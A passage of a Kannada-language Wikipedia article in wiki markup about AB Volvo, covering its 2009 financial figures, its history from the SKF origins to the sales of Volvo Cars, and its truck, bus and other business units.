|publisher=Volvo |archive-date=2012-02-19 |archive-url=https://www.webcitation.org/65YpKYBca?url=http://www3.volvo.com/investors/finrep/ar09/ar_2009_eng.pdf |url-status=dead }}</ref> | operating_income = {{loss}} (SEK 17,013 million) <small>(2009)</small><ref name="AR2009" /> | net_income = {{loss}} (SEK 14,718 million) <small>(2009)</small><ref name="AR2009" /> | assets = SEK 332.3 billion <small>(2009)</small><ref name="AR2009" /> | equity = SEK 67.03 billion <small>(2009)</small><ref name="AR2009" /> | num_employees = 90,210 <small>(2009)</small><ref name="AR2009" /> | subsid = [[ಮ್ಯಾಕ್ ಟ್ರಕ್ಸ್]], [[ರೆನಾಲ್ಟ್ ಟ್ರಕ್ಸ್]], [[ಯುಡಿ ಟ್ರಕ್ಸ್]], [[ವೋಲ್ವೋ ನಿರ್ಮಾಣ ಸಲಕರಣೆ]], [[ವೋಲ್ವೋ ಬಸ್ಸುಗಳು]], [[ವೋಲ್ವೋ ಟ್ರಕ್ಗಳು]] | homepage = [http://www.volvogroup.com/ www.volvogroup.com] | intl = ಹೌದು }} '''ಎಬಿ ವೋಲ್ವೋ''' ಎನ್ನುವುದು [[ಸ್ವೀಡನ್|ಸ್ವೀಡನ್‌]] ದೇಶದ, [[ಟ್ರಕ್‌]], [[ಬಸ್ಸು]] ಮತ್ತು [[ಕಟ್ಟಡ ನಿರ್ಮಾಣ]] ಸಾಮಗ್ರಿಗಳನ್ನು ಒಳಗೊಂಡಂತೆ [[ವಾಣಿಜ್ಯ ವಾಹನ]]ಗಳನ್ನು ತಯಾರು ಮಾಡುವ ಸಂಸ್ಥೆ. 1999ರವರೆಗೆ ಅದು [[ಕಾರು]]ಗಳನ್ನೂ ಉತ್ಪನ್ನ ಮಾಡುತ್ತಿದ್ದವು. ವೋಲ್ವೋ [[ಜಲ]] ಮತ್ತು ಔದ್ಯೋಗಿಕ ಡ್ರೈವ್‌ ವ್ಯವಸ್ಥೆಗಳು ಮತ್ತು ಅಂತರಿಕ್ಷಯಾನ ಭಾಗಗಳನ್ನು ಸರಬರಾಜು ಮಾಡುತ್ತದೆ ಮತ್ತು ಹಣಕಾಸು ಸೇವೆಗಳನ್ನೂ ನೀಡುತ್ತದೆ. 1915ರಲ್ಲಿಯೇ ಎಬಿ [[ಎಸ್‌ಕೆಎಫ್‌‌]]ನ ಉಪಸಂಸ್ಥೆಯಾಗಿ ವೋಲ್ವೋ ಪ್ರಾರಂಭವಾಗಿದ್ದರೂ ಸಹ, ಸ್ವೀಡನ್‌ನ ಈ ಬಾಲ್‌ ಬ್ರೇರಿಂಗ್‌ ಮತ್ತು ಆಟೋ ಉತ್ಪಾದಕ ಸಂಸ್ಥೆಯು 14 ಏಪ್ರಿಲ್‌ 1927ರಂದು ತನ್ನ ಸ್ಥಾಪನೆಯಾಯಿತು ಎನ್ನುತ್ತದೆ. ಮೊದಲ ಕಾರು, [[ವೋಲ್ವೋ ÖV 4]] ಸರಣಿಯು [[ಹಿಸಿಂಗೆನ್‌]], [[ಗೊಟೆನ್‌ಬರ್ಗ್‌]]ನಲ್ಲಿದ್ದ ಕಾರ್ಖಾನೆಯಿಂದ ಹೊರಉರುಳಿತು.<ref>{{cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/history/volvosfounders/volvo_founders.htm |title=Volvo's founders : Volvo Group - Global |publisher=Volvo.com |date=1927-04-14 |accessdate=2009-06-12 |archive-date=2009-05-22 |archive-url=https://web.archive.org/web/20090522012609/http://www.volvo.com/group/global/en-gb/volvo+group/history/volvosfounders/volvo_founders.htm |url-status=dead }}</ref> ''ವೋಲ್ವೋ'' ಎಂದರೆ [[ಲ್ಯಾಟಿನ್‌]] ಭಾಷೆಯಲ್ಲಿ "ನಾನು ಉರುಳುತ್ತೇನೆ" ಎಂದು, "ವೋಲ್ವೀರ್‌‍" ಪದದಿಂದ ಬಂದಿದೆ. ''ವೋಲ್ವೋ'' ಎಂಬ ಹೆಸರನ್ನು, ಬಾಲ್‌ ಬೇರಿಂಗ್‌ನ ವಿಶೇಷ ಸರಣಿಗೆ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ಆಗಿ ಬಳಸಿಕೊಳ್ಳುವುದಕ್ಕಾಗಿ ಎಸ್‌ಕೆಎಫ್‌ ಎಬಿಯೊಳಗೇ ಒಂದು ಬೇರೆ ಕಂಪನಿಯೆಂದು ಮೇ 1911ರಲ್ಲಿ ನೋಂದಣಿ ಮಾಡಲಾಯಿತು. ಆದರೆ, ಈ ಯೋಜನೆಯನ್ನು ಸ್ವಲ್ಪ ಕಾಲದ ಮಟ್ಟಿಗೆ ಮಾತ್ರ ಬಳಸಿಕೊಳ್ಳಲಾಯಿತು, ನಂತರ ಎಸ್‌ಕೆಎಫ್‌ ತನ್ನ ಎಲ್ಲಾ ಬೇರಿಂಗ್‌ ಉತ್ಪನ್ನಗಳಿಗೆ "ಎಸ್‌ಕೆಎಫ್‌"ಅನ್ನೇ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ ಆಗಿ ಬಳಸಲು ನಿರ್ಧರಿಸಿತು. 1924ರಲ್ಲಿ ಎಸ್‌ಕೆ‌ಎಫ್‌ನ ಮಾರಾಟ ನಿರ್ವಾಹಕರಾದ [[ಅಸ್ಸಾರ್‌ ಗೇಬ್ರಿಯಲ್‌ಸನ್‌]] ಮತ್ತು ಇಂಜಿನಿಯರರಾದ [[ಗುಸ್ತವ್‌ ಲಾರ್ಸನ್‌]] ಎಂಬ ಇಬ್ಬರು ಸಂಸ್ಥಾಪಕರು ಒಂದು ಸ್ವೀಡನ್‌ ಕಾರನ್ನು ತಯಾರಿಸಲು ನಿರ್ಧರಿಸಿದರು. ಸ್ವೀಡನ್‌ ದೇಶದ ಒರಟು ರಸ್ತೆಗಳ ಮತ್ತು ಶೀತಲ ಹವಾಮಾನದ rigorಗಳನ್ನು ತಡೆದುಕೊಳ್ಳುವಂತಹ ಕಾರುಗಳನ್ನು ನಿರ್ಮಿಸಬೇಕೆಂಬುದು ಅವರ ಧ್ಯೇಯವಾಗಿತ್ತು. ಆಗಿನಿಂದಲೂ ಇದು ವೋಲ್ವೋ ಉತ್ಪನ್ನಗಳ ಉಪಾಧಿಯೇ ಆಗಿದೆ.<ref name="volvo.com">{{cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/history/ourhistory/history_introduction.htm |title=Historic time-line : Volvo Group - Global |publisher=Volvo.com |date= |accessdate=2009-06-12 |archive-date=2009-05-30 |archive-url=https://web.archive.org/web/20090530211152/http://www.volvo.com/group/global/en-gb/volvo+group/history/ourhistory/history_introduction.htm |url-status=dead }}</ref> 10ನೇ ಆಗಸ್ಟ್‌ 1926ರವರೆಗೂ ಎಬಿ ವೋಲ್ವೋ ಕಂಪನಿಯಲ್ಲಿ ಯಾವ ಚಟುವಟಿಕೆಯೂ ಇರಲಿಲ್ಲ. ಹತ್ತು ಪ್ರೋಟೋಟೈಪ್‌ಗಳ ಉತ್ಪಾದನೆಯೂ ಸೇರಿದಂತೆ ಒಂದು ವರ್ಷದ ತಯಾರಿಯ ನಂತರ ಎಸ್‌ಕೆಎಫ್‌ ಗ್ರೂಪ್‌ನ ಒಳಗೆ ಕಾರು-ಉತ್ಪಾದನಾ ವ್ಯವಹಾರವನ್ನು ನಡೆಸಲು ಇದನ್ನು ಸಿದ್ಧಮಾಡಲಾಯಿತು. ಸ್ಟಾಕ್‌ಹೋಮ್‌ ಷೇರುಪೇಟೆಯಲ್ಲಿ ಎಬಿ ವೋಲ್ವೋಅನ್ನು 1935ರಲ್ಲಿ ಪರಿಚಯಿಸಲಾಯಿತು ಮತ್ತು ಕಂಪನಿಯಲ್ಲಿನ ಎಲ್ಲ ಷೇರುಗಳನ್ನು ಮಾರಾಟ ಮಾಡಲು ಎಸ್‌ಕೆಎಫ್‌ ನಿರ್ಧರಿಸಿತು. ಜೂನ್‌ 2007ರಲ್ಲಿ [[ನ್ಯಾಸ್‌ಡ್ಯಾಕ್‌]]ನ ಪಟ್ಟಿಯಿಂದ ವೋಲ್ವೋಅನ್ನು ತೆಗೆದುಹಾಕಲಾಯಿತು, ಆದರೆ ಸ್ಟಾಕ್‌ಹೋಮ್‌ ಷೇರುಪೇಟೆಯಲ್ಲಿ ಈಗಲೂ ಇದೆ.<ref>{{Cite web |url=http://www.forbes.com/markets/feeds/afx/2007/06/14/afx3820156.html |title=ನಾಸ್ಡಾಕ್‌ದಿಂದ ತೆಗೆದು ಹಾಕಲು ಎಬಿ ವೋಲ್ವೋ ಅರ್ಜಿ ಹಾಕಿದೆ - Forbes.com |access-date=2010-07-08 |archive-date=2007-10-16 |archive-url=https://web.archive.org/web/20071016094457/http://www.forbes.com/markets/feeds/afx/2007/06/14/afx3820156.html |url-status=dead }}</ref> 1999ರಲ್ಲಿ, ವೋಲ್ವೋ ತನ್ನ [[ವೋಲ್ವೋ ಕಾರುಗಳು]] ವಿಭಾಗವನ್ನು [[ಫೋರ್ಡ್‌]] ಸಂಸ್ಥೆಗೆ 6.45 ಬಿಲಿಯನ್‌ ಡಾಲರುಗಳಿಗೆ ಮಾರಾಟ ಮಾಡಿತು. ವೋಲ್ವೋ ಟ್ರೇಡ್‌ ಮಾರ್ಕ್‌ಅನ್ನು ಈಗ ವೋಲ್ವೋ ಎಬಿ ತನ್ನ ಭಾರೀ ವಾಹನಗಳಿಗೆ ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ಫೋರ್ಡ್‌ನ ಒಂದು ವಿಭಾಗ ಕಾರುಗಳಿಗೆ ಬಳಸಿಕೊಳ್ಳುತದೆ. 2008ರಲ್ಲಿ, ಫೋರ್ಡ್‌ ವೋಲ್ವೋ ಕಾರುಗಳ ಮೇಲಿನ ತನ್ನ ’ಬಡ್ಡಿ’ಯನ್ನು ಮಾರಾಟ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು; ಫೋರ್ಡ್‌ ಮೋಟಾರ್‌ ಕಂಪನಿಯು ಚೈನೀಸ್‌ ಮೋಟಾರ್‌ ಮಾನುಫ್ಯಾಕ್ಚರರ್‌ ಸಂಸ್ಥೆಯ ಮಾತೃ ಸಂಸ್ಥೆಯಾದ [[ಗೀಲಿ ಆಟೊಮೊಬೈಲ್‌]] ಕಂಪನಿಗೆ 1.8 ಬಿಲಿಯನ್‌ ಡಾಲರ್‌ಗಳಿಗೆ ಬ್ರ್ಯಾಂಡ್‌ಅನ್ನು ಮಾರಾಟ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. 2010ರ ಮೂರನೆ ತ್ರೈಮಾಸಿಕದಲ್ಲಿ ಈ ವ್ಯವಹಾರವು ಪೂರ್ಣವಾಗುತ್ತದೆಂದು ಭಾವಿಸಲಾಗಿತ್ತು.<ref>{{cite news|url=https://www.theguardian.com/business/2009/oct/28/volvo-ford-geely-china-car |title=Ford set to offload Volvo to Chinese carmaker Zhejiang Geely &#124; Business &#124; guardian.co.uk |publisher=Guardian |date= 2009-10-28|accessdate=2009-12-04 | location=London | first=Andrew | last=Clark}}</ref> == ಇತಿಹಾಸ == ವೋಲ್ವೋ ಗ್ರೂಪ್ 1927 ರಲ್ಲಿ [[ಮೊದಲ ವೋಲ್ವೋ]] ಕಾರು ಗುಟೆನ್‌ಬರ್ಗ್‌ನ ಕಾರ್ಖಾನೆಯಿಂದ ತಯಾರುಗೊಂಡು ಹೊರಗೆ ಬರುವುದರೊಂದಿಗೆ ಪ್ರಾರಂಭಗೊಂಡಿತು.<ref>{{Cite web |url=http://www.volvo.com/group/global/en-gb/Volvo+Group/history/history.htm |title=ವೋಲ್ವೋ 80 ವರ್ಷಗಳು |access-date=2010-07-08 |archive-date=2009-10-22 |archive-url=https://web.archive.org/web/20091022223128/http://www.volvo.com/group/global/en-gb/volvo+group/history/history.htm |url-status=dead }}</ref> ಆ ವರ್ಷದಲ್ಲಿ ಕೇವಲ 280 ಕಾರುಗಳನ್ನು ನಿರ್ಮಿಸಲಾಯಿತು.<ref name="georgano">ಜಾರ್ಜ್ಗಾನೊ, ಜಿ. ಎನ್. ''ಕಾರ್ಸ್: ಅರ್ಲಿ ಆ‍ಯ್‌೦ಡ್ ವಿಂಟೇಜ್, 1886–1930'' . (ಲಂಡನ್: ಗ್ರಾಂಜ್-ಯುನಿವರ್ಸೆಲ್, 1985)</ref> ಮೊದಲ ಟ್ರಕ್‌ "ಸಿರೀಸ್‌ 1," ದಿಢೀರ್‌ ಯಶಸ್ಸಿನಂತೆ ಜನವರಿ 1928ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು ಮತ್ತು ಹೊರದೇಶಗಳಲ್ಲಿಯೂ ಗಮನ ಸೆಳೆಯಿತು.<ref>{{cite web |url=http://www.volvo.com/group/global/en-gb/volvo+group/history/volvo_80years/volvo_80-years.htm |title=Volvo 80 years : Volvo Group - Global |publisher=Volvo.com |date= |accessdate=2009-06-12 |archive-date=2009-05-04 |archive-url=https://web.archive.org/web/20090504142822/http://www.volvo.com/group/global/en-gb/volvo+group/history/volvo_80years/volvo_80-years.htm |url-status=dead }}</ref> 1930ರಲ್ಲಿ, ವೋಲ್ವೋ 639 ಕಾರುಗಳನ್ನು ಮಾರಾಟಮಾಡಿತು,<ref name="georgano"/> ಮತ್ತು ಶೀಘ್ರದಲ್ಲೇ ಯೂರೋಪಿಗೆ ಟ್ರಕ್‌ಗಳನ್ನು ರಫ್ತು ಮಾಡುವುದು ಪ್ರಾರಂಭವಾಯಿತು; [[ಎರಡನೇ ಮಹಾಯುದ್ಧ]]ದ ನಂತರದವರೆಗೂ ಸ್ವೀಡನ್‌ನ ಹೊರಗೆ ಕಾರುಗಳು ಅಷ್ಟು ಪ್ರಸಿದ್ಧಿಗೆ ಬರಲಿಲ್ಲ.<ref name="georgano"/> ಜಲ ಇಂಜಿನ್‌ಗಳು ಈ ಗ್ರೂಪ್‌ಗೆ ಟ್ರಕ್‌ಗಳಷ್ಟೇ ಹಳೆಯವು. 1907ರಲ್ಲಿ ಸ್ಥಾಪನೆಯಾದ ಪೆಂಟಾವರ್ಕನ್‌ಅನ್ನು 1935ರಲ್ಲಿ ವಶಪಡಿಸಿಕೊಳ್ಳಲಾಯಿತು. ಆದಾಗ್ಯೂ 1929ರಷ್ಟು ಮೊದಲೇ ಯು-21 ಔಟ್‌ಬೋರ್ಡ್‌ ಎಂಜಿನ್‌ಅನ್ನು ಪರಿಚಯಿಸಲಾಯಿತು. 1962ರವರೆಗೂ ಉತ್ಪಾದನೆ ಮಾಡುವುದು ಮುಂದುವರೆಯಿತು. ಬಿ1 ಎಂಬ ಮೊದಲ ಬಸ್ಸನ್ನು 1934ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಮತ್ತು 1940ರಲ್ಲಿ ಬೆಳೆಯುತ್ತಿರುವ ಉತ್ಪನ್ನಗಳ ಶ್ರೇಣಿಗೆ ವಿಮಾನ ಎಂಜಿನ್‌ಗಳನ್ನೂ ಸೇರಿಸಲಾಯಿತು. ಜನವರಿ 28, 1999ರಂದು ವೋಲ್ವೋ ಗ್ರೂಪ್‌ ತನ್ನ ವ್ಯಾಪಾರ ಕ್ಷೇತ್ರವನ್ನು [[ವೋಲ್ವೋ ಕಾರ್‌ ಕಾರ್ಪೋರೇಷನ್‌‍]]ಅನ್ನು [[ಫೋರ್ಡ್‌ ಮೊಟಾರ್‌ ಕಂಪನಿ]]ಗೆ, 6.45 [[ಬಿಲಿಯನ್‌]] ಯುಎಸ್‌ ಡಾಲರ್‌ಗಳಿಗೆ ಮಾರಾಟ ಮಾಡಿತು, ಇದರಿಂದ ಪರಿಣಮಿಸಿದ ಗ್ರೂಪ್‌ ಬಹುಮಟ್ಟಿಗೆ ಕಮರ್ಷಿಯಲ್‌ ವಾಹನಗಳ ಮೇಲೆ ಗಮನ ಹರಿಸಿತು. ಜನವರಿ 2, 2001ರಂದು ರೆನಾಲ್ಟ್‌ ವೆಹಿಕ್ಯೂಲ್ಸ್‌ ಇಂಡಸ್‌ಟ್ರಿಯೆಲ್ಸ್‌ಅನ್ನು (ಇದು [[ಮ್ಯಾಕ್‌ ಟ್ರಕ್ಸ್‌]]ಅನ್ನು ಒಳಗೊಂಡಿತ್ತು ಆದರೆ 0}ಐರಿಸ್‌ಬಸ್‌ನ ರೆನಾಲ್ಟ್‌ ಷೇರುಗಳನ್ನು ಒಳಗೊಂಡಿರಲಿಲ್ಲ) ವೋಲ್ವೋಗೆ ಮಾರಾಟ ಮಾಡಲಾಯಿತು. ವೋಲ್ವೋ ಅದಕ್ಕೆ 2002ರಲ್ಲಿ [[ರೆನಾಲ್ಟ್‌ ಟ್ರಕ್ಸ್‌]] ಎಂದು ಹೆಸರು ನೀಡಿತು. ಪರಿಣಾಮವಾಗಿ, ಮಾಜಿ ಮಾತೃ ಸಂಸ್ಥೆ [[ರೆನಾಲ್ಟ್‌]] ಕಂಪೆನಿಯು 20% (ಷೇರು ಮತ್ತು ಮತದಾನ ಹಕ್ಕುಗಳಲ್ಲಿ) ಷೇರುಗಳನ್ನು ಹೊಂದುವುದರ ಮೂಲಕ ಎಬಿ ವೋಲ್ವೋದ ಅತಿದೊಡ್ಡ ಷೇರುದಾರ ಸಂಸ್ಥೆಯಾಯಿತು. ಕಳೆದ ಹತ್ತು ವರ್ಷಗಳಲ್ಲಿ ಕಂಪನಿಯು ಉತ್ಪಾದಕ ಘಟಕಗಳನ್ನು ಮಾರಾಟ ಮಾಡಲು ಆರ್ಥಿಕ ಪರಿಹಾರಗಳನ್ನು ಕೊಡುವುದೇ ಮೊದಲಾದ ಸೇವೆಗಳ ಮೂಲಕ ಸೇವಾ ವಲಯದಲ್ಲಿ ಕ್ಷಿಪ್ರ ಬೆಳವಣಿಗೆಯನ್ನು ಕಂಡಿದೆ. 2006ರಲ್ಲಿ, ಎಬಿ ವೋಲ್ವೋ ಕಂಪನಿಯು [[ನಿಸ್ಸಾನ್‌ ಮೋಟಾರ್‌]] ಕಂ. ಲಿ.ನಿಂದ, ಜಪಾನಿನ ಟ್ರಕ್‌ ಉತ್ಪಾದಕ ಕಂಪನಿಯಾದ [[ಯುಡಿ ಟ್ರಕ್ಸ್‌]]ನ (ಹಿಂದೆ ನಿಸ್ಸಾನ್‌ ಡೀಸಲ್‌) 13% ಷೇರುಗಳನ್ನು ಕೊಂಡು ಪ್ರಮುಖ ಷೇರುದಾರ ಸಂಸ್ಥೆಯಾಯಿತು. 2007ರಲ್ಲಿ ವೋಲ್ವೋ ಗ್ರೂಪ್‌ ನಿಸ್ಸಾನ್‌ ಡೀಸಲ್‌ನ ಸಂಪೂರ್ಣ ಒಡೆತನವನ್ನು ಪಡೆದುಕೊಂಡು ಏಷಿಯಾ ಪೆಸಿಫಿಕ್‌ ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ತನ್ನ ವಿಸ್ತರಣೆಯನ್ನು ಬೆಳೆಸಿತು.<ref name="volvo.com"/><ref>{{cite web |url=http://www3.volvo.com/investors/finrep/eng/index.html |title=Volvo Annual Report 1999 |publisher=.volvo.com |date= |accessdate=2009-06-12 |archive-date=2011-07-17 |archive-url=https://web.archive.org/web/20110717231302/http://www3.volvo.com/investors/finrep/eng/index.html |url-status=dead }}</ref> == ವ್ಯಾಪಾರಿ ಕ್ಷೇತ್ರಗಳು == ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ವ್ಯವಹಾರಗಳನ್ನು ಅನೇಕ ಕಂಪನಿಗಳಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತದೆ - ಅವುಗಳಲ್ಲಿ ಇವು [[ಉಪಸಂಸ್ಥೆಗಳು]]: * [[ವೋಲ್ವೋ ಟ್ರಕ್‌ಗಳು]] (ಪ್ರಾದೇಶಿಕ ಸಾಗಣೆಗಳಿಗಾಗಿ ಮಧ್ಯಮಗಾತ್ರದ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು ಮತ್ತು ದೂರದ ಸಾಗಣೆಗಳಿಗಾಗಿ ಭಾರೀ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು, ಹಾಗೆಯೇ ಕಟ್ಟಡ ನಿರ್ಮಾಣ ವಿಭಾಗಕ್ಕೆ ಭಾರೀ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು) * [[ಮ್ಯಾಕ್‌ ಟ್ರಕ್‌ಗಳು]] (ಹತ್ತಿರದ ಹಂಚಿಕೆಗಳಿಗಾಗಿ ಹಗುರ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು ಮತ್ತು ದೂರದ ಸಾಗಣೆಗಾಗಿ ಭಾರಿ ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು) * [[ರೆನಾಲ್ಟ್‌ ಟ್ರಕ್‌ಗಳು]] (ಪ್ರಾದೇಶಿಕ ಸಾಗಣೆಗಾಗಿ ಭಾರಿ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು ಮತ್ತು ಕಟ್ಟಡ ನಿರ್ಮಾಣ ವಿಭಾಗಕ್ಕೆ ಭಾರೀ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು) * [[ಯುಡಿ ಟ್ರಕ್‌ಗಳು]] (ಮಧ್ಯಮಗಾತ್ರದ-ಡ್ಯೂಟಿ ಟ್ರಕ್‌ಗಳು) * [[ವೋಲ್ವೋ ಕಟ್ತಡನಿರ್ಮಾಣ ಸಾಮಗ್ರಿ]] (ಕಟ್ಟಡ ನಿರ್ಮಾಣ ಯಂತ್ರಗಳು) (ಈ ಮುಂಚೆ ವೋಲ್ವೋ ಬಿಎಮ್, ಎಬಿ ಬೊಲಿಂಡರ್‌-ಮಂಕ್‌ಟೆಲ್‌ಅನ್ನೂ ನೋಡಿ) * [[ವೋಲ್ವೋ ಬಸ್‌ಗಳು]] (ಪೂರ್ಣ ಬಸ್‌ಗಳು ಮತ್ತು ನಗರ ಸಂಚಾರ, ಲೈನ್‌ ಸಂಚಾರ ಮತ್ತು ಪ್ರವಾಸಿ ಸಂಚಾರಕ್ಕಾಗಿ ಬಸ್‌ ಚಾಸಿಸ್‌ಗಳು) * [[ವೊಲ್ವೋ ಪೆಂಟಾ]] (ಲೀಷರ್‌ ದೋಣಿಗಳಿಗೆ ಜಲ ಎಂಜಿನ್‌ ವ್ಯವಸ್ಥೆಗಳು ಮತ್ತು ಔದ್ಯೋಗಿಕ ಉಪಯೋಗಿಗಳಿಗಾಗಿ ಕಮರ್ಷಿಯಲ್‌ ಹಡಗು, ಡೀಸಲ್‌ ಎಂಜಿನ್‌ಗಳು ಮತ್ತು ಡ್ರೈವ್‌ ವ್ಯವಸ್ಥೆಗಳು) * [[ವೋಲ್ವೋ ಏರೋ]] (ವಿಮಾನಗಳು ಮತ್ತು ರಾಕೆಟ್‌ ಎಂಜಿನ್‌ಗಳಿಗಾಗಿ ಅತ್ಯುತ್ತಮ ತಂತ್ರಜ್ಞಾನದ ಭಾಗಗಳು ಹಾಗೆಯೇ ವಿಮಾನ ಉದ್ಯಮಕ್ಕೆ ಸೇವೆಗಳು) * [[ವೊಲ್ವೋ ಆರ್ಥಿಕ ಸೇವೆಗಳು]] (ಗ್ರಾಹಕರಿಗೆ ಸಾಲಗಳು, ಅಂತರ-ಗ್ರೂಪ್‌ ಬ್ಯಾಂಕಿಂಗ್‌, ರಿಯಲ್ ಎಸ್ಟೇಟ್ ನಿರ್ವಹಣೆಯಾಗಿ) *ವಿಇ ಕಮರ್ಷಿಯಲ್ ವೆಹಿಕಲ್ಸ್ (ಐಶರ್) ಲಿಮಿಟೆಡ್, ಭಾರತ (VECV), ವೋಲ್ವೋ ಮತ್ತು ಐಶರ್ ಮೋಟರ್ಸ್ ಲಿಮಿಟೆಡ್ ನಡುವಿನ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವೋಲ್ವೋ 45.6% ಶೇರನ್ನು ಹೊಂದಿದೆ (ಟ್ರಕ್ಗಳು ಮತ್ತು ಬಸ್ಸುಗಳು) ವೊಲ್ವೋ ಗ್ರೂಪ್‌ [[ರೆನಾಲ್ಟ್‌ ಟ್ರಕ್ಸ್‌]] ಮತ್ತು [[ಮ್ಯಾಕ್‌ ಟ್ರಕ್ಸ್‌]] ಕಂಪನಿಗಳನ್ನು 2001ರಂದು ಕೊಂಡಿದ್ದರಿಂದ, ವಿಶಾಲವಾದ ಉತ್ಪನ್ನಗಳನ್ನು ಒಳಗೊಂಡ ಯೂರೋಪಿನ ಅತಿದೊಡ್ಡ ಮತ್ತು ವಿಶ್ವದ ಎರಡನೇ ಅತಿದೊಡ್ಡ ಭಾರಿ ಟ್ರಕ್‌ಗಳ ಉತ್ಪಾದಕ ಕಂಪನಿಯು ಸೃಷ್ಟಿಯಾದಂತಾಯಿತು. [[ಮ್ಯಾಕ್‌]] ಉತ್ತರ ಅಮೆರಿಕಾದಲ್ಲಿ ಅತ್ಯಂತ ಪ್ರಸಿದ್ಧ ಟ್ರಕ್‌ ಬ್ರ್ಯಾಂಡ್‌ ಆದರೆ [[ರೆನಾಲ್ಟ್‌ ಟ್ರಕ್ಸ್‌]] ದಕ್ಷಿಣ ಯೂರೋಪ್‌ನಲ್ಲಿ ವಿಶೇಷ ಸ್ಥಾನವನ್ನು ಪಡೆದಿದೆ.{{Citation needed|date=October 2008}} ಜಪಾನಿನ [[ಯುಡಿ ಟ್ರಕ್ಸ್‌]] ಹಗುರ, ಮಧ್ಯಮ ಮತ್ತು ಭಾರೀ ವಾಹನಗಳನ್ನು ಹಾಗೆಯೇ ಬಸ್ಸುಗಳು ಮತ್ತು ಬಸ್ಸು ಚಾಸಿಸ್‌, ಎಂಜಿನ್‌ಗಳು, ವಾಹನ ಭಾಗಗಳು ಮತ್ತು ವಿಶೇಷೋದ್ದೇಶ ವಾಹನಗಳನ್ನು ಮಾರಾಟ ಮಾಡುತ್ತದೆ. ವೋಲ್ವೋ ಬಸ್‌ ಕಾರ್ಪೋರೇಷನ್‌ ಒಡೆತನದ [[ಪ್ರಿವೋಸ್ಟ್‌ ಕಾರ್‌]] ಉತ್ತರ ಅಮೆರಿಕಾದಲ್ಲಿ ಪ್ರೀಮಿಯಮ್‌ ಪ್ರವಾಸಿ ಕೋಚ್‌ಗಳ ಮತ್ತು ಉನ್ನತ ಮಟ್ಟದ ಮೊಟಾರ್‌ಹೋಮ್ಸ್‌ ಮತ್ತು ವಿಶಿಷ್ಟತೆಯ ರೂಪುಕೊಡುವ ಬಸ್‌ ಶೆಲ್‌ಗಳ ಅತಿ ದೊಡ್ಡ ಉತ್ಪಾದಕರು. [[ಪ್ರಿವೋಸ್ಟ್‌]]ನ ಭಾಗವಾದ [[ನೋವಾ ಬಸ್‌]] ಕಂಪನಿಯು ಉತ್ತರ ಅಮೆರಿಕಾದ ನಗರ ಟ್ರ್ಯಾನ್ಸಿಟ್‌ ಬಸ್ಸುಗಳ ವಿನ್ಯಾಸ, ಉತ್ಪಾದನೆ ಮತ್ತು ಮಾರಾಟದಲ್ಲಿ ಅಗ್ರಪಂಕ್ತಿಯಲ್ಲಿದೆ. ಇವುಗಳಲ್ಲದೇ ಗ್ರೂಪ್‌ ಅನೇಕ ವ್ಯಾಪಾರ ಘಟಕಗಳನ್ನು ಹೊಂದಿವೆ: * [[ವೋಲ್ವೋ ಭಾಗಗಳು]] (ಬಿಡಿ ಭಾಗಗಳು, ವೋಲ್ವೋ ಗ್ರೂಪ್ ಕಂಪನಿಗಳಲ್ಲಿಯೇ ಮಾರಾಟದ ನಂತರದ ಬೆಂಬಲ ಸೇವೆಯನ್ನು ನಿರ್ವಹಿಸುವಿಕೆ) * [[ವೊಲ್ವೋ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ]] (ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಸೇವೆಗಳು, ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ಕಂಪನಿಗಳಿಗೆ ಹೊಸ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ವ್ಯಾಪಾರ ಪರಿಹಾರಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿವುದು) * [[ವೋಲ್ವೋ ಪವರ್‌ಟ್ರೇನ್‌]] (ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ಡೀಸೆಲ್‌ ಎಂಜಿನ್‌, ಟ್ರಾನ್ಸ್‌ಮಿಷನ್‌ಗಳು ಮತ್ತು ಆಕ್ಸಲ್‌ಗಳ ಅಭಿವೃದ್ಧಿಯ ಜವಾಬ್ದಾರಿ) * [[ವೋಲ್ವೋ 3ಪಿ]] (ಉತ್ಪನ್ನ ಯೋಜನೆ, ಉತ್ಪನ್ನ ಅಭಿವೃದ್ಧಿ, ಮತ್ತು ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ಎಲ್ಲ ಟ್ರಕ್‌ ವ್ಯವಹಾರಗಳಿಗೆ ಕೊಂಡುಕೊಳ್ಳುವ ಜವಾಬ್ದಾರಿ) * [[ವೋಲ್ವೋ ಲಾಗಿಸ್ಟಿಕ್ಸ್‌]] (ವಿಶ್ವಾದ್ಯಂತ ಲೋಹದ ಮತ್ತು ಗಾಳಿ-ಸಂಬಂಧಿತ ಕಾರ್ಖಾನೆಗಳಿಗೆ logistic ಪರಿಹಾರಗಳನ್ನು ಯೋಜಿಸುತ್ತದೆ ಮತ್ತು ಒದಗಿಸುತ್ತದೆ) * [[ವೋಲ್ವೋ ತಂತ್ರಜ್ಞಾನ ವರ್ಗಾವಣೆ]] (ವೋಲ್ವೋ ಗ್ರೂಪ್‌ನ ಕಂಪನಿಗಳಿಗೆ ಪ್ರಸ್ತುತವಾದ ಹೊಸ 